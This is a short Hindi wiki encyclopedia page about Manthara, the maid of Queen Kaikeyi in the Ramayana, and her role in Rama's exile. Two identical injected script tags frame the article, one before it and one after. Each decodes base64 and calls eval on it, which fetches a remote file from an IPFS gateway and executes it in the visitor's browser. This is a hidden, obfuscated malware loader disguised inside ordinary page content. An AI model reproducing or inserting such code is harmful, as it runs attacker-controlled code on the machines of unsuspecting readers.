मंथरा

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Asha (चर्चा | योगदान) द्वारा परिवर्तित ०७:४९, २७ अक्टूबर २००९ का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मंथरा / Manthara

  • यह दशरथ की रानी कैकेयी की प्रिय दासी थी।
  • 'रामचरितमानस' के अनुसार इसी के कहने पर राम के राज्यभिषेक होने के अवसर पर कैकयी की मति फिर गयी थी और उसने राजा दशरथ से दो वरदान माँगे थे-
  1. भरत को राज्यपद और
  2. राम को 14 वर्ष का वनवास।
  • अनुश्रुति है कि पूर्वजन्म में मन्थरा, दुन्दुभि नाम की एक गन्धर्वी थी।





<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>